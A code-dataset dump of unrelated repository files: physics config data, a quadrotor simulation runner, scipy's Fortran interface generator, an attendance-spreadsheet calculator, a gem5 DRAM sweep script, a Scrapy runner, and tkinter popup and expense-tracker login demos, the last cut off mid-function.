"208307:1057-208307:1205", "208307:1208-208307:1294", "208307:1297-208307:1328", "208339:77-208339:89", "208339:91-208339:122",
"208339:125-208339:208", "208339:211-208339:346", "208339:349-208339:363", "208341:1-208341:84", "208341:87-208341:117",
"208341:120-208341:513", "208341:515-208341:685", "208341:688-208341:693", "208341:695-208341:775", "208341:777-208341:824",
"208351:83-208351:97", "208351:100-208351:356", "208351:359-208351:367", "208351:369", "208352:1-208352:15",
"208352:17", "208352:19", "208353:1-208353:76", "208353:78-208353:269", "208353:271-208353:348",
"208357:1-208357:70", "208357:73-208357:507", "208390:72-208390:128", "208390:130-208390:169", "208391:52-208391:82",
"208391:84-208391:162", "208391:164-208391:216", "208391:219-208391:493", "208391:495-208391:498", "208391:500-208391:523",
"208391:526-208391:533", "208391:535-208391:588", "208391:591-208391:660", "208391:663-208391:869", "208427:49-208427:89",
"208427:92-208427:161", "208427:164", "208427:166-208427:173", "208427:175-208427:268", "208427:271-208427:312",
"208427:315", "208427:317-208427:335", "208427:337-208427:361", "208427:364-208427:402", "208427:404-208427:422",
"208427:425-208427:577", "208427:580-208427:647", "208428:1-208428:58", "208428:61-208428:68", "208428:70-208428:156",
"208428:159-208428:227", "208429:1-208429:56", "208429:59-208429:139", "208429:141-208429:159", "208429:162-208429:237",
"208429:240-208429:440", "208429:442-208429:452", "208429:455-208429:589", "208429:592-208429:712", "208429:715-208429:922",
"208487:2-208487:26", "208487:29-208487:159", "208487:161-208487:307", "208487:309-208487:459", "208487:462-208487:476",
"208487:479-208487:621", "208509:71-208509:232", "208538:2-208538:43", "208540:1-208540:26", "208540:29-208540:98",
"208541:1-208541:57", "208541:59-208541:173", "208541:175-208541:376", "208541:378-208541:413", "208551:119-208551:193",
"208551:195-208551:212", "208551:215-208551:300", "208551:303-208551:354", "208551:356-208551:554", "208551:557-208551:580",
"208686:73-208686:79", "208686:82-208686:181", "208686:183-208686:224", "208686:227-208686:243", "208686:246-208686:311",
"208686:313-208686:459" ) ),
duplicateCheckMode = cms.untracked.string('noDuplicateCheck'),
fileNames = cms.untracked.vstring('/store/cmst3/user/cmgtools/CMG/DoubleMuParked/StoreResults-Run2012C_22Jan2013_v1_PFembedded_trans1_tau132_pthad1_30had2_30_v1-5ef1c0fd428eb740081f19333520fdc8/USER/V5_B/PAT_CMG_V5_16_0/cmgTuple_542.root',
'/store/cmst3/user/cmgtools/CMG/DoubleMuParked/StoreResults-Run2012C_22Jan2013_v1_PFembedded_trans1_tau132_pthad1_30had2_30_v1-5ef1c0fd428eb740081f19333520fdc8/USER/V5_B/PAT_CMG_V5_16_0/cmgTuple_543.root',
'/store/cmst3/user/cmgtools/CMG/DoubleMuParked/StoreResults-Run2012C_22Jan2013_v1_PFembedded_trans1_tau132_pthad1_30had2_30_v1-5ef1c0fd428eb740081f19333520fdc8/USER/V5_B/PAT_CMG_V5_16_0/cmgTuple_544.root')
)
| [
"riccardo.manzoni@cern.ch"
] | riccardo.manzoni@cern.ch |
5fa1e7edecb16cfbd19a8080159912880e780b91 | b3d87379fdf36c97b3a32cdbeb969e2650c7af98 | /quadrun.py | 1c9a9a014d01bc11e8e198831b235addfcb3262d | [] | no_license | 2black0/quadrotor_python | d388653fa5c467fc6c80f8ce98bd67554fb737a1 | e3711a6afd6105aacbeb2c6bc652a6685be1a885 | refs/heads/master | 2020-05-22T20:40:41.434261 | 2019-05-13T23:59:30 | 2019-05-13T23:59:30 | 186,511,928 | 3 | 0 | null | null | null | null | UTF-8 | Python | false | false | 246 | py | import quadvar as qv
import quadmodel as qm
import numpy as np
from array import *
# run from 0 to t_plot
while qv.t_plot[qv.counter-1] < max(qv.t_plot):
exec(open("quadmodel.py").read());
# plot the result
exec(open("quadplot.py").read()); | [
"noreply@github.com"
] | noreply@github.com |
580d3bab5161c2089c9b1c92b66b2465fd94ddb9 | 3e24611b7315b5ad588b2128570f1341b9c968e8 | /pacbiolib/thirdparty/pythonpkgs/scipy/scipy_0.9.0+pbi86/lib/python2.7/site-packages/scipy/linalg/interface_gen.py | aed22b2164e1399c612a6bd8fd85ad35866e808f | [
"BSD-2-Clause"
] | permissive | bioCKO/lpp_Script | dc327be88c7d12243e25557f7da68d963917aa90 | 0cb2eedb48d4afa25abc2ed7231eb1fdd9baecc2 | refs/heads/master | 2022-02-27T12:35:05.979231 | 2019-08-27T05:56:33 | 2019-08-27T05:56:33 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 6,791 | py | #! python
import os
import re
from distutils.dir_util import mkpath
def all_subroutines(interface_in):
# remove comments
comment_block_exp = re.compile(r'/\*(?:\s|.)*?\*/')
subroutine_exp = re.compile(r'subroutine (?:\s|.)*?end subroutine.*')
function_exp = re.compile(r'function (?:\s|.)*?end function.*')
interface = comment_block_exp.sub('',interface_in)
subroutine_list = subroutine_exp.findall(interface)
function_list = function_exp.findall(interface)
subroutine_list = subroutine_list + function_list
subroutine_list = map(lambda x: x.strip(),subroutine_list)
return subroutine_list
def real_convert(val_string):
return val_string
def complex_convert(val_string):
return '(' + val_string + ',0.)'
def convert_types(interface_in,converter):
regexp = re.compile(r'<type_convert=(.*?)>')
interface = interface_in[:]
while 1:
sub = regexp.search(interface)
if sub is None: break
converted = converter(sub.group(1))
interface = interface.replace(sub.group(),converted)
return interface
def generic_expand(generic_interface,skip_names=[]):
generic_types ={'s' :('real', 'real', real_convert,
'real'),
'd' :('double precision','double precision',real_convert,
'double precision'),
'c' :('complex', 'complex',complex_convert,
'real'),
'z' :('double complex', 'double complex',complex_convert,
'double precision'),
'cs':('complex', 'real',complex_convert,
'real'),
'zd':('double complex', 'double precision',complex_convert,
'double precision'),
'sc':('real', 'complex',real_convert,
'real'),
'dz':('double precision','double complex', real_convert,
'double precision')}
generic_c_types = {'real':'float',
'double precision':'double',
'complex':'complex_float',
'double complex':'complex_double'}
# cc_types is specific in ATLAS C BLAS, in particular, for complex arguments
generic_cc_types = {'real':'float',
'double precision':'double',
'complex':'void',
'double complex':'void'}
#2. get all subroutines
subs = all_subroutines(generic_interface)
print len(subs)
#loop through the subs
type_exp = re.compile(r'<tchar=(.*?)>')
TYPE_EXP = re.compile(r'<TCHAR=(.*?)>')
routine_name = re.compile(r'(subroutine|function)\s*(?P<name>\w+)\s*\(')
interface = ''
for sub in subs:
#3. Find the typecodes to use:
m = type_exp.search(sub)
if m is None:
interface = interface + '\n\n' + sub
continue
type_chars = m.group(1)
# get rid of spaces
type_chars = type_chars.replace(' ','')
# get a list of the characters (or character pairs)
type_chars = type_chars.split(',')
# Now get rid of the special tag that contained the types
sub = re.sub(type_exp,'<tchar>',sub)
m = TYPE_EXP.search(sub)
if m is not None:
sub = re.sub(TYPE_EXP,'<TCHAR>',sub)
sub_generic = sub.strip()
for char in type_chars:
type_in,type_out,converter, rtype_in = generic_types[char]
sub = convert_types(sub_generic,converter)
function_def = sub.replace('<tchar>',char)
function_def = function_def.replace('<TCHAR>',char.upper())
function_def = function_def.replace('<type_in>',type_in)
function_def = function_def.replace('<type_in_c>',
generic_c_types[type_in])
function_def = function_def.replace('<type_in_cc>',
generic_cc_types[type_in])
function_def = function_def.replace('<rtype_in>',rtype_in)
function_def = function_def.replace('<rtype_in_c>',
generic_c_types[rtype_in])
function_def = function_def.replace('<type_out>',type_out)
function_def = function_def.replace('<type_out_c>',
generic_c_types[type_out])
m = routine_name.match(function_def)
if m:
if m.group('name') in skip_names:
print 'Skipping',m.group('name')
continue
else:
print 'Possible bug: Failed to determine routines name'
interface = interface + '\n\n' + function_def
return interface
#def interface_to_module(interface_in,module_name,include_list,sdir='.'):
def interface_to_module(interface_in,module_name):
pre_prefix = "!%f90 -*- f90 -*-\n"
# heading and tail of the module definition.
file_prefix = "\npython module " + module_name +" ! in\n" \
"!usercode '''#include \"cblas.h\"\n"\
"!'''\n"\
" interface \n"
file_suffix = "\n end interface\n" \
"end module %s" % module_name
return pre_prefix + file_prefix + interface_in + file_suffix
def process_includes(interface_in,sdir='.'):
include_exp = re.compile(r'\n\s*[^!]\s*<include_file=(.*?)>')
include_files = include_exp.findall(interface_in)
for filename in include_files:
f = open(os.path.join(sdir,filename))
interface_in = interface_in.replace('<include_file=%s>'%filename,
f.read())
f.close()
return interface_in
def generate_interface(module_name,src_file,target_file,skip_names=[]):
print "generating",module_name,"interface"
f = open(src_file)
generic_interface = f.read()
f.close()
sdir = os.path.dirname(src_file)
generic_interface = process_includes(generic_interface,sdir)
generic_interface = generic_expand(generic_interface,skip_names)
module_def = interface_to_module(generic_interface,module_name)
mkpath(os.path.dirname(target_file))
f = open(target_file,'w')
user_routines = os.path.join(sdir,module_name+"_user_routines.pyf")
if os.path.exists(user_routines):
f2 = open(user_routines)
f.write(f2.read())
f2.close()
f.write(module_def)
f.close()
def process_all():
# process the standard files.
for name in ['fblas','cblas','clapack','flapack']:
generate_interface(name,'generic_%s.pyf'%(name),name+'.pyf')
if __name__ == "__main__":
process_all()
| [
"409511038@qq.com"
] | 409511038@qq.com |
1c8bcdf2d99bd5630809fedcd85b30f4ca5af1d3 | b61b0a5333814779669320532233ee75327f039f | /xls_proc.py | 2b62ee064f9f7d001f18b164b612cead6498106d | [] | no_license | marine0131/attendance_calc | 75f6d387e336dfd7ff22fcde5bcb13c96a87c810 | e991f30ba7ff88474b2135315b12f360d52ee726 | refs/heads/master | 2020-03-26T07:52:31.226713 | 2018-08-14T08:37:25 | 2018-08-14T08:37:25 | 144,675,548 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 6,994 | py | #! /usr/bin/env python
import xlrd
import xlwt
import re
import datetime
import json
with open("config.txt", 'r') as f:
params = json.load(f)
FILE = params["FILE"]
MONTH = params['MONTH']
ON_WORK_TIME = params['ON_WORK_TIME']
LUNCH_TIME = params['LUNCH_TIME']
REST_TIME = params['REST_TIME']
AFTERNOON_WORK_TIME = params['AFTERNOON_WORK_TIME']
OFF_WORK_TIME = params['OFF_WORK_TIME']
OVER_WORK_TIME = params['OVER_WORK_TIME']
OVER_TIME = params['OVER_TIME']
def str_to_absmin(t_str):
a = list(map(int, t_str.split(':'))) # list() for python3 compatible
return a[0]*60 + a[1]
def duration(start, end):
return str_to_absmin(end) - str_to_absmin(start)
def proc_time(time_list, is_weekend=False):
if len(time_list) == 0:
return "", "~", 0, 0
if len(time_list) == 1:
return "", time_list[0]+"~", 0, 0
start = time_list[0]
end = time_list[-1]
start_min = str_to_absmin(start)
end_min = str_to_absmin(end)
tag = ""
start_end = start + "~" + end
work_duration = 0
over_duration = 0
if is_weekend:
over_duration = duration(start, end)
over_duration = round(over_duration/60.0, 1) # * 2)/2.0
return tag, start_end, work_duration, over_duration
else:
morning_work_min = duration(ON_WORK_TIME, LUNCH_TIME)
afternoon_work_min = duration(AFTERNOON_WORK_TIME, OFF_WORK_TIME)
regular_work_min = morning_work_min + afternoon_work_min
if start_min <= str_to_absmin(ON_WORK_TIME): # check in regular
if end_min > str_to_absmin(OVER_TIME): # work over time
work_duration = regular_work_min
over_duration = duration(OVER_WORK_TIME, end)
elif end_min >= str_to_absmin(OFF_WORK_TIME): # regular work
work_duration = regular_work_min
elif end_min >= str_to_absmin(AFTERNOON_WORK_TIME): # work over lunch
work_duration = morning_work_min + duration(AFTERNOON_WORK_TIME, end)
elif end_min >= str_to_absmin(LUNCH_TIME): # work whole morning
work_duration = morning_work_min
else: # work only morning
work_duration = duration(ON_WORK_TIME, end)
elif start_min > str_to_absmin(ON_WORK_TIME) and start_min <= str_to_absmin(LUNCH_TIME): # late check in morning
late = start_min - str_to_absmin(ON_WORK_TIME)
tag = "late: " + str(late) + "min"
if late < 30: # late but worktime is full
late = 0
start = ON_WORK_TIME
if late > 60:
tag = "absence: " + str(late) + "min"
if end_min > str_to_absmin(OVER_TIME): # work over time
work_duration = regular_work_min - late
over_duration = duration(OVER_WORK_TIME, end)
elif end_min > str_to_absmin(OFF_WORK_TIME): # regular work
work_duration = regular_work_min - late
elif end_min > str_to_absmin(AFTERNOON_WORK_TIME): # work over lunch
work_duration = duration(start, LUNCH_TIME) + duration(AFTERNOON_WORK_TIME, end)
elif end_min >= str_to_absmin(LUNCH_TIME): # work whole morning
work_duration = duration(start, LUNCH_TIME)
else: # work only morning
work_duration = duration(start, end)
# check in lunchtime
elif start_min > str_to_absmin(LUNCH_TIME) and start_min < str_to_absmin(AFTERNOON_WORK_TIME):
tag = "absence: " + str(morning_work_min) + "min"
if end_min > str_to_absmin(OVER_TIME): # work over time
work_duration = afternoon_work_min
over_duration = duration(OVER_WORK_TIME, end)
elif end_min > str_to_absmin(OFF_WORK_TIME): # regular work
work_duration = afternoon_work_min
elif end_min > str_to_absmin(AFTERNOON_WORK_TIME): # work over lunch
work_duration = duration(start, end)
else:
pass
# check in afternoon
elif start_min > str_to_absmin(AFTERNOON_WORK_TIME) and start_min <= str_to_absmin(OFF_WORK_TIME): # check in afternoon
tag = "absence: morning"
if end_min > str_to_absmin(OVER_TIME): # work over time
work_duration = duration(start, OFF_WORK_TIME)
over_duration = duration(OVER_WORK_TIME, end)
elif end_min > str_to_absmin(OFF_WORK_TIME): # regular work
work_duration = duration(start, OFF_WORK_TIME)
else:
work_duration = duration(start, end)
else: # check in evening
if end_min > str_to_absmin(OVER_TIME): # work over time
over_duration = duration(OVER_WORK_TIME, end)
else:
pass
work_duration = round(work_duration/60.0, 1) # * 2)/2.0
over_duration = round(over_duration/60.0, 1) # * 2)/2.0
return tag, start_end, work_duration, over_duration
def check_weekend(day):
weekenum = ["Mon", "Tus", "Wed", "Thu", "Fri", "Sat", "Sun"]
year_month = MONTH.split('/')
d = datetime.date(int(year_month[0]), int(year_month[1]), int(day))
if d.weekday() == 5 or d.weekday() == 6:
return True, weekenum[d.weekday()]
else:
return False, weekenum[d.weekday()]
if __name__ == "__main__":
src_book = xlrd.open_workbook(FILE)
src_sheet = src_book.sheets()[2]
n_rows = src_sheet.nrows
print("sheet rows:{}".format(n_rows))
dst_book = xlwt.Workbook()
dst_sheet = dst_book.add_sheet('Sheet1')
# copy the head
row = src_sheet.row_values(2)
dst_sheet.write(0, 0, row[0])
dst_sheet.write(0, 1, row[2])
dst_sheet.write(0, 20, "generate by whj")
row = src_sheet.row_values(3)
for i, r in enumerate(row):
dst_sheet.write(1, i+1, r)
# copy and calc work time
ind = 2
for i in range(4, n_rows):
row = src_sheet.row_values(i)
if i%2 == 0:
dst_sheet.write(ind, 0, row[2] + ":".encode('utf-8') + row[10])
ind += 1
else:
# write title
dst_sheet.write(ind, 0, "start~end")
dst_sheet.write(ind+1, 0, "worktime")
dst_sheet.write(ind+2, 0, "overtime")
dst_sheet.write(ind+3, 0, "comment")
for j, r in enumerate(row):
time_list = re.findall(r'.{5}', r)
is_weekend, day_tag = check_weekend(src_sheet.cell_value(3, j))
tag, start_end, work_duration, over_duration = proc_time(time_list, is_weekend)
dst_sheet.write(ind, j+1, start_end)
dst_sheet.write(ind+1, j+1, work_duration)
dst_sheet.write(ind+2, j+1, over_duration)
dst_sheet.write(ind+3, j+1, tag)
if is_weekend:
dst_sheet.write(ind-1, j+1, day_tag)
ind += 4
dst_book.save("new.xls")
| [
"wanghj@woosiyuan.com"
] | wanghj@woosiyuan.com |
300105105b624689dfe8a2adcac101be4fe25fd7 | 149489e12a2f209e33a82684518785540b3508b8 | /configs/dram/low_power_sweep.py | 9adfcaff0c0faa9eb1e0e129a7edc6b1e1f8ad9c | [
"BSD-3-Clause",
"LicenseRef-scancode-proprietary-license",
"LGPL-2.0-or-later",
"MIT"
] | permissive | FPSG-UIUC/SPT | 8dac03b54e42df285d774bfc2c08be3123ea0dbb | 34ec7b2911078e36284fa0d35ae1b5551b48ba1b | refs/heads/master | 2023-04-15T07:11:36.092504 | 2022-05-28T21:34:30 | 2022-05-28T21:34:30 | 405,761,413 | 4 | 1 | BSD-3-Clause | 2023-04-11T11:44:49 | 2021-09-12T21:54:08 | C++ | UTF-8 | Python | false | false | 10,445 | py | # Copyright (c) 2014-2015, 2017 ARM Limited
# All rights reserved.
#
# The license below extends only to copyright in the software and shall
# not be construed as granting a license to any other intellectual
# property including but not limited to intellectual property relating
# to a hardware implementation of the functionality of the software
# licensed hereunder. You may use the software subject to the license
# terms below provided that you ensure that this notice is replicated
# unmodified and in its entirety in all distributions of the software,
# modified or unmodified, in source code or in binary form.
#
# Redistribution and use in source and binary forms, with or without
# modification, are permitted provided that the following conditions are
# met: redistributions of source code must retain the above copyright
# notice, this list of conditions and the following disclaimer;
# redistributions in binary form must reproduce the above copyright
# notice, this list of conditions and the following disclaimer in the
# documentation and/or other materials provided with the distribution;
# neither the name of the copyright holders nor the names of its
# contributors may be used to endorse or promote products derived from
# this software without specific prior written permission.
#
# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
# "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
# A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
# OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
# SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
# LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
# DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
# THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
# (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
# OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
#
# Authors: Radhika Jagtap
# Andreas Hansson
import argparse
import m5
from m5.objects import *
from m5.util import addToPath
from m5.stats import periodicStatDump
addToPath(os.getcwd() + '/configs/common')
import MemConfig
# This script aims at triggering low power state transitions in the DRAM
# controller. The traffic generator is used in DRAM mode and traffic
# states target a different levels of bank utilization and strides.
# At the end after sweeping through bank utilization and strides, we go
# through an idle state with no requests to enforce self-refresh.
parser = argparse.ArgumentParser(
formatter_class=argparse.ArgumentDefaultsHelpFormatter)
# Use a single-channel DDR4-2400 in 16x4 configuration by default
parser.add_argument("--mem-type", default="DDR4_2400_16x4",
choices=MemConfig.mem_names(),
help = "type of memory to use")
parser.add_argument("--mem-ranks", "-r", type=int, default=1,
help = "Number of ranks to iterate across")
parser.add_argument("--page-policy", "-p",
choices=["close_adaptive", "open_adaptive"],
default="close_adaptive", help="controller page policy")
parser.add_argument("--itt-list", "-t", default="1 20 100",
help="a list of multipliers for the max value of itt, " \
"e.g. \"1 20 100\"")
parser.add_argument("--rd-perc", type=int, default=100,
help = "Percentage of read commands")
parser.add_argument("--addr-map", type=int, default=1,
help = "0: RoCoRaBaCh; 1: RoRaBaCoCh/RoRaBaChCo")
parser.add_argument("--idle-end", type=int, default=50000000,
help = "time in ps of an idle period at the end ")
args = parser.parse_args()
# Start with the system itself, using a multi-layer 2.0 GHz
# crossbar, delivering 64 bytes / 3 cycles (one header cycle)
# which amounts to 42.7 GByte/s per layer and thus per port.
system = System(membus = IOXBar(width = 32))
system.clk_domain = SrcClockDomain(clock = '2.0GHz',
voltage_domain =
VoltageDomain(voltage = '1V'))
# We are fine with 256 MB memory for now.
mem_range = AddrRange('256MB')
# Start address is 0
system.mem_ranges = [mem_range]
# Do not worry about reserving space for the backing store
system.mmap_using_noreserve = True
# Force a single channel to match the assumptions in the DRAM traffic
# generator
args.mem_channels = 1
args.external_memory_system = 0
args.tlm_memory = 0
args.elastic_trace_en = 0
MemConfig.config_mem(args, system)
# Sanity check for memory controller class.
if not isinstance(system.mem_ctrls[0], m5.objects.DRAMCtrl):
fatal("This script assumes the memory is a DRAMCtrl subclass")
# There is no point slowing things down by saving any data.
system.mem_ctrls[0].null = True
# Set the address mapping based on input argument
# Default to RoRaBaCoCh
if args.addr_map == 0:
system.mem_ctrls[0].addr_mapping = "RoCoRaBaCh"
elif args.addr_map == 1:
system.mem_ctrls[0].addr_mapping = "RoRaBaCoCh"
else:
fatal("Did not specify a valid address map argument")
system.mem_ctrls[0].page_policy = args.page_policy
# We create a traffic generator state for each param combination we want to
# test. Each traffic generator state is specified in the config file and the
# generator remains in the state for specific period. This period is 0.25 ms.
# Stats are dumped and reset at the state transition.
period = 250000000
# We specify the states in a config file input to the traffic generator.
cfg_file_name = "configs/dram/lowp_sweep.cfg"
cfg_file = open(cfg_file_name, 'w')
# Get the number of banks
nbr_banks = int(system.mem_ctrls[0].banks_per_rank.value)
# determine the burst size in bytes
burst_size = int((system.mem_ctrls[0].devices_per_rank.value *
system.mem_ctrls[0].device_bus_width.value *
system.mem_ctrls[0].burst_length.value) / 8)
# next, get the page size in bytes (the rowbuffer size is already in bytes)
page_size = system.mem_ctrls[0].devices_per_rank.value * \
system.mem_ctrls[0].device_rowbuffer_size.value
# Inter-request delay should be such that we can hit as many transitions
# to/from low power states as possible to. We provide a min and max itt to the
# traffic generator and it randomises in the range. The parameter is in
# seconds and we need it in ticks (ps).
itt_min = system.mem_ctrls[0].tBURST.value * 1000000000000
#The itt value when set to (tRAS + tRP + tCK) covers the case where
# a read command is delayed beyond the delay from ACT to PRE_PDN entry of the
# previous command. For write command followed by precharge, this delay
# between a write and power down entry will be tRCD + tCL + tWR + tRP + tCK.
# As we use this delay as a unit and create multiples of it as bigger delays
# for the sweep, this parameter works for reads, writes and mix of them.
pd_entry_time = (system.mem_ctrls[0].tRAS.value +
system.mem_ctrls[0].tRP.value +
system.mem_ctrls[0].tCK.value) * 1000000000000
# We sweep itt max using the multipliers specified by the user.
itt_max_str = args.itt_list.strip().split()
itt_max_multiples = map(lambda x : int(x), itt_max_str)
if len(itt_max_multiples) == 0:
fatal("String for itt-max-list detected empty\n")
itt_max_values = map(lambda m : pd_entry_time * m, itt_max_multiples)
# Generate request addresses in the entire range, assume we start at 0
max_addr = mem_range.end
# For max stride, use min of the page size and 512 bytes as that should be
# more than enough
max_stride = min(512, page_size)
mid_stride = 4 * burst_size
stride_values = [burst_size, mid_stride, max_stride]
# be selective about bank utilization instead of going from 1 to the number of
# banks
bank_util_values = [1, int(nbr_banks/2), nbr_banks]
# Next we create the config file, but first a comment
cfg_file.write("""# STATE state# period mode=DRAM
# read_percent start_addr end_addr req_size min_itt max_itt data_limit
# stride_size page_size #banks #banks_util addr_map #ranks\n""")
nxt_state = 0
for itt_max in itt_max_values:
for bank in bank_util_values:
for stride_size in stride_values:
cfg_file.write("STATE %d %d %s %d 0 %d %d "
"%d %d %d %d %d %d %d %d %d\n" %
(nxt_state, period, "DRAM", args.rd_perc, max_addr,
burst_size, itt_min, itt_max, 0, stride_size,
page_size, nbr_banks, bank, args.addr_map,
args.mem_ranks))
nxt_state = nxt_state + 1
# State for idle period
idle_period = args.idle_end
cfg_file.write("STATE %d %d IDLE\n" % (nxt_state, idle_period))
# Init state is state 0
cfg_file.write("INIT 0\n")
# Go through the states one by one
for state in range(1, nxt_state + 1):
cfg_file.write("TRANSITION %d %d 1\n" % (state - 1, state))
# Transition from last state to itself to not break the probability math
cfg_file.write("TRANSITION %d %d 1\n" % (nxt_state, nxt_state))
cfg_file.close()
# create a traffic generator, and point it to the file we just created
system.tgen = TrafficGen(config_file = cfg_file_name)
# add a communication monitor
system.monitor = CommMonitor()
# connect the traffic generator to the bus via a communication monitor
system.tgen.port = system.monitor.slave
system.monitor.master = system.membus.slave
# connect the system port even if it is not used in this example
system.system_port = system.membus.slave
# every period, dump and reset all stats
periodicStatDump(period)
root = Root(full_system = False, system = system)
root.system.mem_mode = 'timing'
m5.instantiate()
# Simulate for exactly as long as it takes to go through all the states
# This is why sim exists.
m5.simulate(nxt_state * period + idle_period)
print "--- Done DRAM low power sweep ---"
print "Fixed params - "
print "\tburst: %d, banks: %d, max stride: %d, itt min: %s ns" % \
(burst_size, nbr_banks, max_stride, itt_min)
print "Swept params - "
print "\titt max multiples input:", itt_max_multiples
print "\titt max values", itt_max_values
print "\tbank utilization values", bank_util_values
print "\tstride values:", stride_values
print "Traffic gen config file:", cfg_file_name
| [
"rutvikc2@midgar.cs.illinois.edu"
] | rutvikc2@midgar.cs.illinois.edu |
65ce711038749d54964ebb890ad5b84986fd8cde | c9ce096f4aee437688aacf1d0757e87991200e0b | /crawlall.py | 0f1cf2f743ec025c517f4ee42266c204f9b95c1a | [] | no_license | rohithsai1904/NEWS-CRAWLER | aad4a31cc87e2e41413eb87f846577bf1648f01a | 9f66d91e811724d248b167100d193ec01dfd03df | refs/heads/main | 2023-05-29T05:59:07.752211 | 2021-06-18T12:04:31 | 2021-06-18T12:04:31 | 378,135,442 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 714 | py | import scrapy
from twisted.internet import reactor
from scrapy.utils.project import get_project_settings
from scrapy.crawler import CrawlerProcess
def start_sequentially(process: CrawlerProcess, crawlers: list):
deferred = process.crawl(crawlers[0])
if len(crawlers) > 1:
deferred.addCallback(lambda _: start_sequentially(process, crawlers[1:]))
class CrawlAll:
name="crawlall"
crawlers = []
file = open('items.jl', 'w')
file.close()
process = CrawlerProcess(settings=get_project_settings())
for spider_name in process.spiders.list():
crawlers.append(spider_name)
start_sequentially(process, crawlers)
process.start() | [
"noreply@github.com"
] | noreply@github.com |
3ec7711255fb3ba9e59129e7511c59d7fd7e89af | f12ceaf496a7b7f5fbb7dcc25f64ada1f2c9930c | /_03_print_and_popups/Popups.py | f9e5dc0925924b11e7b20061ec4ad1df1e4e453d | [] | no_license | league-python-student/level0-module0-nanonate32 | 3486cd854995ae7eb28b1bac7ab0048025269eef | fec090ce54c17e57d310ce68fcdd03152aabebc4 | refs/heads/master | 2022-11-16T12:01:58.311793 | 2020-07-17T21:55:39 | 2020-07-17T21:55:39 | 279,412,311 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 338 | py | from tkinter import messagebox, simpledialog, Tk
window = Tk()
window.withdraw()
print('hello from the print method')
messagebox.showinfo('Message Box', "Hello from the message box")
food = simpledialog.askstring(None, prompt = 'What is your favorite food')
messagebox.showerror(None, "Wow! I also love " + food + '.')
window.mainloop()
| [
"root@3d62b78524d3"
] | root@3d62b78524d3 |
efa90fcef860a3ef52b4c5a68e10fff81084c425 | b5bc72861644c274b75e42374201ea8cdb84c1a2 | /class_examples/class_college.py | 23c904a627487340213fb1578c4134909be7e295 | [] | no_license | Aadhya-Solution/PythonExample | 737c3ddc9ad5e3d0cde24ac9f366ce2de2fa6cfe | 34bc04570182130ebc13b6c99997c81834ad5f53 | refs/heads/master | 2022-12-18T09:54:30.857011 | 2020-08-24T13:53:59 | 2020-08-24T13:53:59 | 288,183,879 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 91 | py | import class_student
ps=class_student.Student('Shiva',20)
print ps.name
print ps.age
| [
"shashikant.pattar@gmail.com"
] | shashikant.pattar@gmail.com |
f68070e7227f2546fd83426b40fe7fd9c8ca6d50 | cdd20f17a5d9682d678ba599e65e392557444647 | /FrontA.py | d83a63ae5bf7d64df7ed3b37c774dc6aa62a1fae | [] | no_license | VaibhaviKhachane/Expense-Tracker | c81e63e4f8afe0470f7848e003b7053c09063867 | c344f086db72378146023eb255e57f2f0e496bf6 | refs/heads/main | 2023-05-30T17:42:58.378471 | 2021-06-22T12:48:30 | 2021-06-22T12:48:30 | 379,114,380 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,927 | py | from tkinter import *
from PIL import ImageTk,Image
from tkinter import ttk
from tkinter import messagebox
import sqlite3
import os
root = Tk()
root.geometry('1100x600')
root.title('EXPENSE TRACKER')
root.iconphoto(False, PhotoImage(file='icon1.1.png'))
root.resizable(0, 0) # Disable resizing the GUI
frame1 = Frame(root ,height = 270 , width = 1100)
frame1.pack()
frame2 = Frame(root ,height = 330 , width = 1100,bg = 'white')
frame2.pack()
image = PhotoImage(file = "image.png")
img_label = Label(frame1 , image = image)
img_label.place(x=0 , y=0)
#using notebook for creating tabs
tabControl=ttk.Notebook(frame2)
#Tab1
tab1=ttk.Frame(tabControl)
tabControl.add(tab1, text=' HOME ',padding = 20)
#Tab2
tab2=ttk.Frame(tabControl)
tabControl.add(tab2, text = ' LOGIN ', padding = 20 )
#Tab 3
tab3=ttk.Frame(tabControl)
tabControl.add(tab3, text=' REGISTRATION ',padding = 20,)
tabControl.pack(expand=1, fill="both")
#content in tab1
l3=Label(tab1,text = "WELCOME!!!!",font=("Verdana",72),fg='DarkGoldenRod2',bg='LightSkyBlue1').place(x=200,y=40)
tabControl.select(tab2)
#content in tab2
def login():
conn=sqlite3.connect("register1.db")
c=conn.cursor()
c.execute('SELECT * FROM entry WHERE email = ? AND password = ?', (mail1.get(),pass2.get()))
a=c.fetchall()
conn.commit()
conn.close()
if len(a)==0:
messagebox.showwarning("warning","PLEASE DO REGISTRATION!!!")
else:
root.destroy()
os.system('FrontB.py')
l1=Label(tab2,text = "Login" , font=("verdana 20"),fg='blue')
l1.grid(row=1 , column=2,columnspan=2,padx=420)
mail=Label(tab2,text = "Email:" , font=("calibri"))
mail.grid(row=3 , column=2,padx=100)
pass1=Label(tab2,text = "Password:",font="calibri")
pass1.grid(row=4,column=2,padx=100)
mail1=ttk.Entry(tab2)
mail1.place(x=400,y=45,width=250)
pass2=ttk.Entry(tab2,show="*")
pass2.place(x=400,y=70,width=250)
btn2=ttk.Button(tab2,text="Login",width=20,command = login)
btn2.place(x=400,y=100)
#content in tab3
def submit():
conn=sqlite3.connect("register1.db")
cur=conn.cursor()
cur.execute("CREATE TABLE IF NOT EXISTS entry(f_name text , l_name text , m_name text , email text , password text , city text)")
